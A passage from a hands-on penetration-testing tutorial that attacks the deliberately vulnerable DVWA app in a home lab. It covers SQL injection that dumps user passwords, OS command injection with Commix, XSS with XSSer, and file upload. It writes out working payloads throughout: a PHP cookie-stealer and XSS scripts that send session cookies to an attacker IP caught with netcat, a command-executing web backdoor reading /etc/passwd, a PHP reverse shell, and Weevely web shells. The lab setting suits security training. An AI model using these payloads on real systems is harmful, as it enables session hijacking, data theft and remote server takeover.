union select 1, 2 from information_schema.tables#). We get the
following output:

In the last raw it says first name is 1 and last name is 2,  and that means
 the query is returning two columns

If make the payload: (‘ or 1=0 union select 1, 2 from
information_schema.tables#). That makes the first query is false and it
returns only the output of the second query.



Now we can proceed to determine the tables in the current database and
we will use table_name variable in the payload: (‘ or 1=0 union select
table_name, 2 from information_schema.tables#). And the query will
print all the tables in the current database. Here the output of the
payload: (‘ or 1=0 union select table_name, 2 from
information_schema.tables#)



So that it shows all tables in the current database. We go table with the
name “users”. And in that table the information of users is stored. Our
next task is to identify the columns in the users table. Now we need to
use the payload: (‘ or 1=0 union select column_name, 2 from
information_schema.columns#). That will print all columns in the
current database:



If we use the payload: (‘ or 1=0 union select column_name, 2 from
information_schema.columns where table_name=’users’#). That will
print all columns in the current database for only the table users:



Our focus is to print the first_name and password columns from the
users table. So our payload: (‘ or 1=0 union select first_name, password
from users#). Here the output when executing the payload:

‘ or 1=0 union select first_name, password from users#

Similarly, you can dump all the data in the database.

2. This example is to demonstrate how we can detect SQL injection
vulnerability even in those websites which do not display SQL syntax errors.
The DVWA page http://localhost/dvwa/vulnerabilities/sqli_blind/ has blind
SQL injection vulnerability. If we type (“) we don’t get error message. Blind
SQL injection means that instead of getting error messages, it shows nothing.
That will make difficult to detect SQL injection vulnerability. In order to find
whether the SQL injection vulnerability is still there or not, we need to use
time-based values. Instead of trying normal SQL queries such as the payload  (‘ 
or 1=1#), that will not tell us whether the application is vulnerable to SQL
injection. Instead we need to use time-based queries such as: (‘ or sleep(5)#), it



will make the database sleep for 5 sec. If we see delay in response, that means
query is successful. If we try the traditional queries, we will get same results. 
As example  the payload  (‘ or 1=1#),

 

 



c)	Installing	SQLMAP	in	Windows:
 
1. SQLMAP is an open-source penetra�on tes�ng tool that automates the

process of detec�ng and exploi�ng SQL injec�on flaws and taking over of

database servers. It comes with a powerful detec�on engine, many niche

features for the ul�mate penetra�on tester, and a broad range of switches

including database fingerprin�ng, over data fetching from the database,

accessing the underlying file system, and execu�ng commands on the

opera�ng system via out-of-band connec�ons.

2. Download and install Python in Windows system. Download Python from 

 h�ps://www.python.org/downloads/windows/

3. Download SQL map from h�ps://sqlmap.org/ and extract it in a folder.

Name the folder sqlmap.

4. Under the sqlmap folder, run sqlmap with the command sqlmap.py

> sqlmap.py -h 

5. The following available op�ons when using SQLMAP command





 

 

	



d)	 Scan	 results	 for	 SQL	 injection	 vulnerability
with	 BurpSuite	 and	 using	 SQLMAP	 to	 exploit
the	SQL	injection:
 

1. I am using the scan results for DVWA App installed in Window on this

tutorial with the link address h�p://localhost/dvwa and the DVWA security

set to low.

2. Select SQL injec�on issue from the scan result of h�p://localhost/dvwa/. I

selected SQL injec�on from the live audit

3. Copy the SQL injec�on request to a file. I named the file dvwasql1. This

how it looks:

http://localhost/dvwa
http://localhost/dvwa/


5. I copied the file in the SQLMAP folder. In the sqlmap command, write the

following command to list the databases:

> sqlmap.py -r dvwasql1--dbs

I got the available databases:

6. We can manually enter the command parameters:

  > sqlmap.py -u “ h�p://localhost/dvwa/vulnerabili�es/sqli/?

id=123'&Submit=Submit” --cookie 

“PHPSESSID=ui9m0893hokjvhj7tlcn9j53b5; security=low”  --dbs 

7. To enumerate the tables in the database DVWA

 > sqlmap.py -r dvwasql1  -D dvwa --tables

I got the following tables in the database DVWA:



8. To get the columns  in the users table in DVWA database, use the following 

command:

>sqlmap.py -r dvwasql1  -D dvwa -T users –columns

 

9. To dump the informa�on  in the users table in DVWA database, use the 

following command:

 > sqlmap.py -r dvwasql1  -D dvwa -T users –dump



 

 



e)	SQLiPy	SQLMap	integration:
 
1. SQLMap is embedded within the extension SQLiPy; it will be automa�cally

configured, so you can click Start API. In some cases you may need to

manually adjust the configura�on or run the SQLMap API manually. Once the

SQLMap API is running, you just need to right-click in the 'Request' sub tab of

either the Target or Proxy main tabs and choose 'SQLiPy Scan' from the

context menu. This will populate the SQLMap Scanner tab with informa�on

about that request. Clicking the 'Start Scan' bu�on will execute a scan. If the

page is vulnerable to SQL injec�on, then these will be added to the Scanner

Results tab.

2. This extension integrates Burp Suite with SQLMap. Requirements:

Jython 2.7 (up to 2.7.2) DO NOT USE Jython 2.7.3, it has a bug that
will cause the extension to fail
Java 1.7 or later (the beta version of Jython 2.7 requires this). Note:
Newer versions of Java do appear to work. Tes�ng with jdk-11.0.7
works fine and newer versions are expected to work as well.
A running instance of the SQLMap API server.

3. Download Jython jar file from h�ps://www.jython.org/download.html . Go 

to Extensions/Op�ons” page  and put the loca�on of the downloaded Jython

jar file in the Python Environment sec�on.



4. From the “Extensions/BApp” store, install SQLiPy SQLmap extension from

BApp store .

5.  Then new “SQLiPy” tab is added. From “SQLiPy/SQLMAP” API start the

SQLMAP API.



6 Select SQL injec�on issue from the scan result of h�p://localhost/dvwa/. I

selected SQL injec�on from the live audit

7. Right click in any Request sec�on. From “Extension/SQLiPY” select the

request the request to SQLiPY scan.

http://localhost/dvwa/


8. The SQL injec�on request parameters will be automa�cally transferred to

“SQLiPY/SQLMAP”. Select the informa�on you want to retrieve about the

databases. Then select “Scan”



9. Start scan. You can get the scan results in the “SQLiPY/SQLMap Logs” tab.

Select “Get” to get the scan result. INFO: Fetched data logged to text files

under 'C:\Users\hp\AppData\Local\sqlmap\output\localhost'



10. You get the scan results in the “SQLiPY/SQLMap Scan Stop”

11. The following scan results was obtained in the log file stored in

'C:\Users\hp\AppData\Local\sqlmap\output\localhost'

 



12. 	 SCAN	 RESULTS	 FOR	 OPERATING
SYSTEM	 COMMAND	 INJECTION
VULNERABILITY	WITH	BURPSUITE	AND
USING	 COMMIX	 TO	 EXPLOIT	 THE	 OS
COMMAND	INJECTION:
 

a)	OS	command	injection	de�inition:
1. The purpose of the command injection attack is to inject and execute
commands specified by the attacker in the vulnerable application. In
situation like this, the application, which executes unwanted system
commands, is like a pseudo system shell, and the attacker may use it as any
authorized system user. However, commands are executed with the same
privileges and environment as the web service has. Command injection
attacks are possible in most cases because of lack of correct input data
validation, which can be manipulated by the attacker (forms, cookies,
HTTP headers etc.). The syntax and commands may differ between the
Operating Systems (OS), such as Linux and Windows, depending on their
desired actions. This attack may also be called "Remote Command
Execution (RCE)".

2. OS command injec�on is also called as shell injec�on is a web security

vulnerability that allows an a�acker to execute arbitrary opera�ng system

on the server that is running an applica�on, and typically fully compromise

the applica�on and its data.

3. Remote code execu�on vulnerability allows remote a�ackers or hackers

to run arbitrary commands on remote server. So it allows to remotely



execute the code.



b)	Manual	exploitation	of	OS	command
injection:
 

1. I am using the scan results for DVWA App installed in Linux on this tutorial

with the link address 192.168.223.128/dvwa-linux/ and the DVWA security

set to low.

2. Go to page h�p://192.168.223.128/dvwa-linux/vulnerabili�es/exec/. You

can see from the source code of the page, why that happens. The

administrator allows the user to pass some arguments. In this case it passes

the argument for IP entered by the use and it is stored in variable $target. In

this example the PHP func�on called shell_exec which simply takes string

and executes the command and executes the command and stores the result

to $cmd variable. So no sani�za�on on this variable target.  It basically having

this ping string and when we pass some input as 127.0.0.1 the command will

become “ping 127.0.0.1” and stores the result in the variable “$cmd”. The

vulnerability here that the system allows us to concatenate in single line with

some commands. So we can concatenate many commands by using symbols

such as: “&”, “;”, “|”. So we can write anything we want in the command to

execute and it will give us the results.



3. As example lets concatenate the commands “127.0.0.1 & ls /etc” in the

command box of the page h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/exec/. I got the following results for lis�ngs of the /etc/

folder on Kali Linux:



4. These are the symbols that mostly used for command line injec�on:

“&”,”&&”,”;”,”||”,”#”

 

 



c)	 	 Using	 the	 BurpSuite	 Intruder	 for	 OS
command	injection:
 
1. I am using the scan results for DVWA App installed in Linux on this tutorial

with the link address 192.168.223.128/dvwa-linux/and the DVWA security

set to low.

2. You can get the Linux and Windows Command Injec�on Payload List from

h�ps://github.com/payloadbox/command-injec�on-payload-list

Choose from the Linux and Windows commands the desired commands you

would like to use in Linux or Windows system. Update the commands

parameters according to your requirements .

3. Scan h�p://192.168.223.128/dvwa-linux using BurpSuite. Go to OS

command injec�on that detected by BurpSuite scanner. I chose the OS

command injec�on issue.

4. Right click on the request of the OS command injec�on issue and send it

to intruder.

9. This is the request under the “Intruder/Posi�ons” tab:

http://192.168.223.128/dvwa-linux


10. I cleared all posi�ons and I added a tag to the IP field only:

11. From “Intruder/Payloads” tab, I used “Sniper” stack type. I submi�ed a

Windows  command injec�on payload list for “Posi�on 1” to try. Then I

started the a�ack.



You can check the output of each command in the file from

“Response/Render” tab if there is valid output for the command. For

example, this is the output for command “|ipconfig”



 



d)	Operating	system	command	injection	using
Commix:
 
1. I am using the scan results for DVWA App installed in Linux on this tutorial

with the link address h�p://192.168.223.128/dvwa-linux/ and the DVWA

security set to low.

2. I am using Linux installed in VMware to install Commix tool.

3. Commix tool available in

h�ps://github.com/commixproject/commix

Install the Commix in the Linux using the command:

# apt-get install commix

4. The command “commix –help” will show all commix commands:

http://192.168.223.128/dvwa-linux/






5. Scan h�p://192.168.223.128/dvwa-linux/. Go to OS command injec�on

that detected by BurpSuite scanner. I chose the first OS command injec�on

issue.

http://192.168.223.128/dvwa-linux/


6. Right click on the request of the OS command injec�on issue and copy it

to file. I named the file “dvwacominj1”. This is the file form:

7. Copy the saved file for the request, in my case “dvwacominj1”to the linux

machine. I saved it in the folder /home/Hidaia/Desktop/dvwacominj1

8. From command line, go to /usr/share/commix folder. Under commix, right

the command:

# cd /usr/share/commix

# ./commix.py -r /home/hidaia/Desktop/dvwacominj1

9. Test some of the Windows commands such as,

> whoami

> net users

> ls

> Hostname



> ifconfig

 

11. You can dump all available details on the server :

# ./commix,py -r /home/hidaia/Desktop/ dvwacominj1--all

11. To retrieve the passwords in the target hist, use the “--users --passwords”

op�ons. But the op�ons for “--passwords” only available for Linux not

windows. But I had no permission to show the shadow.txt file.



# ./commix.py -r /home/hidaia/Desktop/ dvwacominj1 --users –

password

12. I created small test file named as test1.txt  in the Linux directory

“/var/www/html/dvwa-linux/vulnerabili�es/exec”: To read file in the target

host use the switch “--file-read=FI”

# ./commix.py -r /home/hidaia/Desktop/ dvwacominj1--file-

read=test.txt

13. To upload file in the target host use the switch “--file-upload=FI” and you

must specify the des�na�on using the switch “--file-dest=FI”. The command

is not supported for Windows server and only supported for Linux server.

 



13. 	 SCAN	 RESULTS	 FOR	 CROSS	 SIDE
SCRIPTING	 (XSS)	 VULNERABILITY
WITH	 BURPSUITE, 	 USING	 XSSER	 TO
EXPLOIT	XSS	 INJECTION	AND	STEALING
WEB	 LOGIN	 SESSION	 COOKIES
THROUGH	THE	XSS	INJECTION:
 

a)	Cross	Side	Scripting	(XSS)de�initions:
 
1. "Cross-Site Scrip�ng (XSS)" a�acks are a type of injec�on problem, in

which malicious scripts are injected into the otherwise benign and trusted

web sites. XSS a�acks occur when an a�acker uses a web applica�on to

send malicious code, generally in the form of a browser side script, to a

different end user. Flaws that allow these a�acks to succeed are quite

widespread and occur anywhere a web applica�on using input from a user

in the output, without valida�ng or encoding it. An a�acker can use XSS to

send a malicious script to an unsuspec�ng user. The end user's browser has

no way to know that the script should not be trusted, and will execute the

JavaScript. Because it thinks the script came from a trusted source, the

malicious script can access any cookies, session tokens, or other sensi�ve

informa�on retained by your browser and used with that site. These scripts

can even rewrite the content of the HTML page.

2. In a reflected XSS, the malicious code is not stored in the remote web

applica�on, so requires some social engineering (such as a link via

email/chat).



3. The XSS is stored in the database. The XSS is permanent, until the
database is reset or the payload is manually deleted.

4. DOM Based XSS is a special case of reflected where the JavaScript is
hidden in the URL and pulled out by JavaScript in the page while it is
rendering rather than being embedded in the page when it is served. This
can make it stealthier than other attacks and WAFs or other protections
which are reading the page body do not see any malicious content.

 

 



b)	Manual	exploitation	of	Cross	Side	Scripting
XSS:
 
1. There is three types of Cross Side Scrip�ng: Cross Side Scrip�ng Reflected,

Cross Side Scrip�ng Stored, Cross Side Script Dom.

2. In Reflected Cross Side Scrip�ng, the script is executed in the vic�m side

and the script is not stored in the server. To understand the Reflected Cross

Side Scrip�ng, go to the page h�p://localhost/dvwa/vulnerabili�es/xss_r/.

Write in the box html script as “<h1>Hello from Hidaia</h1>”. It executed the

html code.

If you input the following script “<script>alert('Hacked');</script>“,
you get the following response:



If you input is the following script “<script>alert(document.cookie);
</script>”,we can access the cookie.

3. In stored Cross Side Scrip�ng (XSS), the script is stored inside the server. So

every �me we return to the page, script is executed. In

h�p://localhost/dvwa/vulnerabili�es/xss_s/



Enter name and execute the html code “<h1>Hello from Hidaia</h1>
inside the message box. We get the following output.

Enter name and execute the script code “<script>alert('Hacked');
</script>” inside the message box. We get the following output.



 

 



c)	 Scan	 results	 for	 Cross	 Side	 Scripting	 (XSS)
vulnerability	with	BurpSuite:
 

1. I am using the scan results for DVWA App installed in Windows on this

tutorial with the link address h�p://localhost/dvwa and the DVWA security

set to low.

2. I scanned the h�p://localhost/dvwa/ website in BurpSuite. I got the some

reflected cross site scrip�ng XSS vulnerabili�es with high severity.

3. In DVWA, I chose the reflected XSS vulnerability at the page

h�p://localhost/dvwa/vulnerabili�es/xss_r/. I sent the request to the

Intruder. I cleared all tags and I only tagged the name field. I made the

security to be low as the reflected XSS vulnerability is effec�ve on DVWA

when security is low. This is the request form:

4. I setup the A�ack type to be “Sniper”.  You can test the payloads

<script>alert('Hacked');</script>

http://localhost/dvwa


<h1>Hello from Hidaia</h1>

From the  “Response/Render” tab, you can check the response. It is noted

that the BurpSuite does not execute scripts but it executed the html code.

5. Download the XSS payload list from.

h�ps://github.com/payloadbox/xss-payload-list

6. I chose the downloaded Payload list with Sniper a�ack. But the BurpSuite

refused to execute the scripts in the payloads list and gave message that it

detected hacking a�empt.



7. In DVWA, I chose the stored XSS vulnerability at the page

h�p://localhost/dvwa/vulnerabili�es/xss_rs/. I sent the request to the

Intruder. I cleared all tags and I only tagged the mtxMessage field. I made the

security to be low as the reflected XSS vulnerability is effec�ve on DVWA

when security is low. This is the request form:



8. I setup the A�ack type to be “Sniper”.  You can test the payload

<script>alert('Hacked');</script>

<h1>Hello from Hidaia</h1>

From the  “Response/Render” tab, you can check the response. It is noted 

that the BurpSuite does not execute scripts but it executed the html code.

 



d)	Cross	Side	Scripting	(XSS)	using	XSSer	tool:
 
1. Install XSSer in Linux machine installed in VMware using the command

# apt-get install XSSer

2. Type the command “xsser -h” to see the command in xsser.





3. For graphical user interface of XSSer, type the following command

# XSSer  --gtk

4. I am using the scan results for DVWA App installed in Windows on this

tutorial with the link address h�p://localhost/dvwa and the DVWA security set

to low. Copy the Reflected XSS request in BurpSuite to a file. I named the file

http://localhost/dvwa


dvwaxssr1. My request had the following details:

5. Test the following commands step by step for reflected Cross side Scrip�ng:

Execute  xsser command for the main GET URL:

# xsser –url=“h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?

name=3322oeckc%3ca%20b%3dc%3easfas”

There is no valid output.

I changed the name parameter to XSS

#xsser --url="h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?name=XSS"  

I got the following output:

Then I added the cookies switch

# xsser --url="h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?name=XSS" --

cookie="PHPSESSID=lrc8ms6smuv9ub6p0�5i3tm33; security=low"

I got the following output:



You can use also the following command form:

# xsser -u 'h�p://10.0.0.4/dvwa' -g '/vulnerabili�es/xss_r/?name=XSS' --

cookie="PHPSESSID=lrc8ms6smuv9ub6p0�5i3tm33; security=low"

I used custom  payload a�ack of the script  “<script>alert(‘Hacked from
Hidaia’)</script>” with --Fp switch  

#xsser --url="h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?name=XSS" --

cookie="PHPSESSID=lrc8ms6smuv9ub6p0�5i3tm33; security=low" --Fp="

<script>alert(1)<script>"



The following final a�ack URL gives this output while execu�ng the
script.

h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?

name=%3Cscript%3Ealert%28%27Hacked+from+Hidaia%27%29%3C%2Fscript%

3E

When I put --auto switch, it executes many payloads given by XSSer



#xsser --url="h�p://10.0.0.4/dvwa/vulnerabili�es/xss_r/?name=XSS" --

cookie="PHPSESSID=lrc8ms6smuv9ub6p0�5i3tm33; security=low" --auto

I got the following output for tes�ng 1291 payloads, and 1287 payload were

successful:

6. Copy the Stored XSS request in BurpSuite to a file. I named the file

dvwaxsss1. My request had the following details



Execute  xsser command for the main POST URL and use the payload
passed in POST request in the last line in the request file. I changed the
mtxMessage parameter to XSS

xsser -u 'h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/' -p

'txtName=23h74dl%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign=Si

gn+Guestbook'

I got the following output:

I added the cookies switch:

xsser -u 'h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/' -p

'txtName=23h74dl%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign=Si

gn+Guestbook' --cookie 'PHPSESSID=tdlprsf00eql6m0j8i34mab60o;

security=low'



I used then custom payload of the html code <h1>Hello from
Hidaia</h1> using the -Fp switch

# xsser -u 'h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/' -p

'txtName=23h74dl%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign

=Sign+Guestbook' --cookie 'PHPSESSID=tdlprsf00eql6m0j8i34mab60o;

security=low' --Fp '<h1>Hello from Hidaia</h1>'

I got the following output from the program:

Final A�ack:

txtName=23h74dl%3Ca+b%3Dc%3Eoqjdn&mtxMessage=%3Ch1%3EHello+fr

om+Hidaia%3C%2Fh1%3E&btnSign=Sign+Guestbook



Go to the page h�p://localhost/dvwa/vulnerabili�es/xss_s/ and set
intercept on BurpSuite “Proxy/Intercept” tab.

Change the request to include the final a�ack:

txtName=23h74dl%3Ca+b%3Dc%3Eoqjdn&mtxMessage=%3Ch1%3EHello+fr

om+Hidaia%3C%2Fh1%3E&btnSign=Sign+Guestbook

So you will have the following request in “Proxy/Intercept” page of 

 BurpSuite

When forwarding the request, the html code is executed and you will get the

following in the browser:



 



e)	 Using	 re�lected	 XSS	 vulnerability	 to	 steal	 web	 login	 session
cookies:
 
This is example  using DVWA (damn vulnerable web applica�on) reflected 

XSS vulnerability to steal web login session cookies

1. I am using the scan results for DVWA App installed in Windows on this

tutorial with the link address h�p://localhost/dvwa and the DVWA security

set to low.

2. Log on to DVWA applica�on. Set the security to low. Then reset the

databases from h�ps://localhost/dvwa/setup.php.

3. Go to the page that reflected XSS vulnerability has occurred

h�ps://localhost/dvwa/vulnerabili�es/xss_r/.

4. In the text put the following script that shows login cookie by wri�ng:

<script>alert(document. cookie);</script>

I got the following popup that shows part of the cookie and does not show

session ID.

http://localhost/dvwa


5. In order to get the session ID, I used the BurpSuite. I set “Proxy/Intercept” 

to be on. And in the page  h�ps://localhost/dvwa/vulnerabili�es/xss_r/ text 

box I put the following script that retrives the session cookie.

  <script>alert(document.cookie);</script>

This is the reflected XSS request as shown in BurpSuite:

The Cookie: PHPSESSID=515ab63qa9q4nqj2pm2lju7l97; security=low

6.  Install “Cookie Quick Manager” extension on Firefox. Within Cookie 

Manager, find the line for DVWA applica�on cookie and update the cookie

with the vic�m cookie to login with the vic�m creden�als. The Cookie

enables us to hijack the login session by using the cookies of the vic�m.  But 

the vic�m is not going to hand the cookie to other.  



7. A cookie stealer is used to steal the SESSION data or cookie informa�on

such as login details of any unsuspec�ng vic�m. Once the link is visited, the

cookie data of the user is taken and stored externally. They are then

redirected to another page without knowing what has just happened. This

cookie stealer will be made using PHP so a webhost suppor�ng PHP will be

needed. A cookie stealer is made up of a sender and a receiver. The sender is

done using JavaScript so will work on almost any user providing JavaScript is

turned on. The receiver is placed on your site and takes the cookie from the

JavaScript cookie sender.

8. Here is a sample receiver code for your PHP file. The code above takes a

REQUEST parameter of c from either a HTTP POST or as a GET parameter 

from the URL  (/script.php?c=[Cookie Data]). The details are stored in a text

log file although a database could also be used. Finally a�er logging the

cookie data the script redirects the vic�m back to an external URL.



9. Next is the JavaScript sender:

Again change the URL to fit the actual loca�on and name of your PHP script.

If the code above is successfully injected into a page (e.g. through XSS) then

as soon as the vic�m loads the page, they will be redirected to your cookie

stealer script. You could also load the URL into a frame to avoid the

redirec�on being no�ced. That's all there is to it, you have now built a

successful cookie stealer.

10. In my example, I created cookie stealer php script stealer.php. I saved the 

file in my XAMPP  htdocs directory: The file stealer.php will forward the

request to h�p://www.google.com.

<?php 

$logFile = "cookieLog.txt"; 

$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a"); 

fwrite($handle, $cookie . "\n\n"); 

fclose($handle);

header("Loca�on: h�p://www.google.com/"); 



exit; 

?>

11. Then I used  the following command in the reflected XSS DVWA page

“h�p://localhost/dvwa/vulnerabili�es/xss_r/” :

<script>window.loca�on="h�p://10.0.0.4/stealer.php?c="+document.cookie;

</script>

12. I got the vic�m cookie in the htdoc directory in the log file cookieLog.txt.

13. So you can send the vic�m the url. To decide the URL that you must send

the vic�m, just enter any script in the text box in the page that has reflected

XSS vulnerability. In my case  

“h�p://localhost/dvwa/vulnerabili�es/xss_r”

This is the URL when using the script <script>alert('Hacked');</script>

h�p://localhost/dvwa/vulnerabili�es/xss_r/?name=<script>alert('Hacked');

</script>

Change the URL to include the cookie stealer script in the name a�ribute:

<script>window.loca�on="h�p://10.0.0.4/stealer.php?c="+document.cookie;

</script>

h�p://localhost/dvwa/vulnerabili�es/xss_r/?name=

<script>window.loca�on="h�p://10.0.0.4/stealer.php?c="+document.cookie;

</script>

http://localhost/dvwa/vulnerabilities/xss_r/


Then you must encode the script from h�ps://www.url-encode-decode.com/

h�p://localhost/dvwa/vulnerabili�es/xss_r/?name=

%3Cscript%3Ewindow.loca�on%3D%22h�p%3A%2F%2F10.0.0.4%2Fstealer.p

hp%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

You can shorten the url

14. You can also get the link by se�ng the “Proxy/Intercept” on to get the

request URL

h�p://localhost/dvwa/vulnerabili�es/xss_r/?

name=%3Cscript%3Ewindow.loca�on+%3D+%22h�p%3A%2F%2F10.0.0.4%2

Fstealer.php%3Fc%3D%22+%2B+document.cookie%3B%3C%2Fscript%3E&us

er_token=25a8feab25d088db4b9bcd175a425458



 



f)	Using	stored	XSS	vulnerability	to	steal	web	login	session	cookies:
 
This is a tutorial how to steal log on cookie using stored cross site scrip�ng.

1. I am going to use DVWA app in Windows device. In the stored cross site

scrip�ng page h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/. we need to

increase the text message length. In

D:\xampp\htdocs\dvwa\vulnerabili�es\xss_s\index.php. Change the

maxlength from 50 100.

2. Example 1:

In my first example , I created cookie stealer  php script stealer.php. I 
saved the file in my XAMPP  htdocs directory: The file stealer.php will 
forward the request to h�p://www.google.com.

<?php 

$logFile = "cookieLog.txt"; 

$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a"); 

fwrite($handle, $cookie . "\n\n"); 

fclose($handle);

header("Loca�on: h�p://www.google.com/"); 

exit; 

?>
In the stored cross site scrip�ng page
h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/, write the following line
in the message field:



<script>window.loca�on="h�p://10.0.0.4/stealer.php?c="+document.cookie;

</script>

When the vic�m will  go to
 h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s and tries to read the text
message, the script stealer.php will be executed and he will be
forwarded to www.google.com and the cookie will be logged  in the 
log file cookieLog.txt according to the script. You can change the 
stealer.php according to your need.  

3. Example 2:

In the second example, I am going to use a machine with an IP address of

192.168.223.128 as the a�acker machine that will hack the cookie in the

vic�m computer.

Go to the stored cross site scrip�ng page
h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/, write the following script
in the message field:

<script>new image().src=”

h�p://192.168.223.128/b.php?”+document.cooki; </script>

http://10.0.0.4/dvwa/vulnerabilities/xss_s
http://www.google.com/


In the a�acker computer 192.168.223.128, I wrote the following
netcat command to set up netcat listener to port 80.

# netcat -nvlp 80

Go to other browser to the stored cross site scrip�ng page
h�p://10.0.0.4/dvwa/vulnerabili�es/xss_s/ and open to the message
that we stored a script in it. The session cookie will be reflected on
netcat session.

 

 



14. 	 EXPLOITING	 FILE	 UPLOAD
VULNERABILITY:
 

a)	File	upload	vulnerability	de�inition:
1. Uploaded files represent a significant risk to web applications. The first
step in many attacks is to get some code to the system to be attacked. Then
the attacker only needs to find a way to get the code executed. Using a file
upload helps the attacker accomplish the first step.

2. The consequences of unrestricted file upload can vary, including
complete system takeover, an overloaded file system, forwarding attacks to
backend systems, and simple defacement. It depends on what the
application does with the uploaded file, including where it is stored.

 



b)		File	upload	using	DVWA	App	installed	in
Kali-Linux:
 
1. On this tutorial I am going to use the DVWA applica�on installed in Kali

Linux. The IP address of the Kali Linux machine dis�nguish it from DVWA in

windows is 192.168.223.128. The DVWA security set to low So the link to

DVWA applica�on in Kali Linux machine

h�p://192.168.223.128/dvwa-linux

2. File upload vulnerability is the vulnerability that allows the hacker or

a�acker their malicious script or program to get remote code execu�on

3. In DVWA file upload page h�p:// 192.168.223.128/dvwa-

linux/vulnerabili�es/upload/ we can upload  files. 

4 Kali linux /usr/share/webshells folder comes with a lot of PHP shells in the

folder /usr/share/webshells/php. I am going to use the shell

/usr/share/webshells/php/simple-backdoor.php. I copied the file to my home

directory /home/Hidaia

# cp /usr/share/webshells/php/simple-backdoor.php /home/Hidaia

The simple-backdoor.php file has the following form:

<?php

if(isset($_REQUEST['cmd'])){

        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";

        die;



}

?>

5. In DVWA  set the security low and in file upload page h�p://

192.168.223.128/dvwa-linux/vulnerabili�es/upload/ upload the shell in

/usr/share/webshells/php/simple-backdoor.php that I copied to

/home/Hidaia/simple-backdoor.php. I got message that the file is uploaded

in ../../hackable/uploads/simple-backdoor.php.

6. Now we can access the php shell using the link

h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/upload/../../hackable/uploads/simple-backdoor.php

You will be forwarded to page h�p://192.168.223.128/dvwa-

linux/hackable/uploads/simple-backdoor.php

7. Now we can run any command using cmd parameter in the link

h�p://192.168.223.128/dvwa-linux/hackable/uploads/simple-backdoor.php?

cmd=cat+/etc/passwd

We get the /etc/passwd file.



8. If I try ls command as example, it will list the files in any directory you

choose as long as the shell can have permission to access the directory. As

example I chose to list the files in the directory /etc/

h�p://192.168.223.128/dvwa-linux/hackable/uploads/simple-backdoor.php?

cmd=ls /etc



c)	Reverse	shell	�ile	upload:
 
1. Kali linux /usr/share/webshells folder comes with a lot of PHP shells in the

folder /usr/share/webshells/php. I am going to use the shell

/usr/share/webshells/php/php-reverse-shell.php. I copied the file to my

home directory /home/Hidaia

# cp /usr/share/webshells/php/php-reverse-shell.php /home/Hidaia

2. Edit the php-reverse-shell.php to point to the a�acker IP address which is

my Kali Linux machine: 192.168.223.128. And make change of the port. I

used port 4444 

3. In DVWA  set the security low and in file upload page

 h�p://192.168.223.128/dvwa-linux/vulnerabili�es/upload/

4. Now we can access the php shell using the link

h�p://192.168.223.128/dvwa-linux/hackable/uploads/php-reverse-shell.php

5. Open the netcat listener to listen ap port 4444 in the a�acker computer

192.168.223.128



# nc -lvnp 4444  -  

The command shell will open. You can write your commands such as: pwd,

uname -a, id, whoami.



d)	File	upload	using	BurpSuite	upload	scanner:
 
1. I am using in this tutorial the DVWA app installed in Windows at
localhost h�p://localhost/dvwa/ and the DVWA security set to low.

2. When scanning DVWA through BurpSuite. It does not detect the file

upload vulnerability as high severity. It just detects it as informa�on severity.

Here example how the BurpSuite detected the file upload issue for

h�p://localhost/dvwa:



2. Go to BurpSuite extensions tab, then to BApp store and find upload

scanner from the list. I installed it.

3. When installed, new tab will appear in BurpSuite “Upload Scanner”.

4. From the target tab, choose one of the  requests under file upload page:

h�p://localhost/dvwa/vulnerabili�es/upload/

Upload an image as example I uploaded image an�corrup�on.jpg

This is the uploaded file link:

h�p://localhost/dvwa/hackable/uploads/an�corrup�on.jpg

http://localhost/dvwa/vulnerabilities/upload/


5. Go to BurpSuite and you can get the request for the file upload from

“Proxy/HTTP History”.

6. Send the request of the file upload to the “Upload Scanner” extension.

You will get this page under “Upload Scanner” extension. The upload scanner



extension will upload a lot of modules and shells. I selected in this example

to only upload php shells.

7. I selected “Start Scan without Redownloader”. It will upload many 

modules.   

8. The as the tested files are uploaded, the results will be shown in the

“Done uploads” tab .



9. Then you can test manually the uploaded files checked from requests and

responses.

h�p://localhost/dvwa/hackable/uploads/(file name)

You can get the file name from the request page.

 

http://localhost/dvwa/hackable/uploads/(file


e)	Generating	shells	using	Weevly:
 
1. In this tutorial I am going to use the DVWA installed in Linux at IP address 

192.168.223.128. The DVWA link:  h�p://192.168.223.128/dvwa-linux and

the DVWA security set to low.

2. In this tutorial I am going to use Weevely tool. A  web shell designed for 

post-exploita�on purposes that can be extended over the network at 

run�me. Upload weevely PHP agent to a target web server to get remote  

shell access  to  it.  

3. Use weevely to generate new agent. I setup the file name and loca�on

and password. Run the command

# weevely generate password  /home/hidaia/weevely-hidaia.php

The command generates a file at  /home/hidaia/weevely-hidaia.php

4. Go the file upload page of DVWA h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/upload. Upload the generated file weevely-hidaia.php. I

got message that the file is uploaded in ../../hackable/uploads/weevely-

hidaia.php. The file link will be:

h�p://192.168.223.128/dvwa-linux/hackable/uploads/weevely-hidaia.php

5. Take the shell URL h�p://192.168.223.128/dvwa-

linux/hackable/uploads/weevely-hidaia.php. Then execute in weevely

command and put the arguments as the shell URL and the file password.

# weevely h�p://192.168.223.128/dvwa-

linux/hackable/uploads/weevely-hidaia.php password

http://192.168.223.128/dvwa-linux/hackable/uploads/weevely-hidaia.php


A weevely shell access will open.  We can run any command on the server

from the shell.

Note: In my case it did not work. I could not iden�fy the reason.

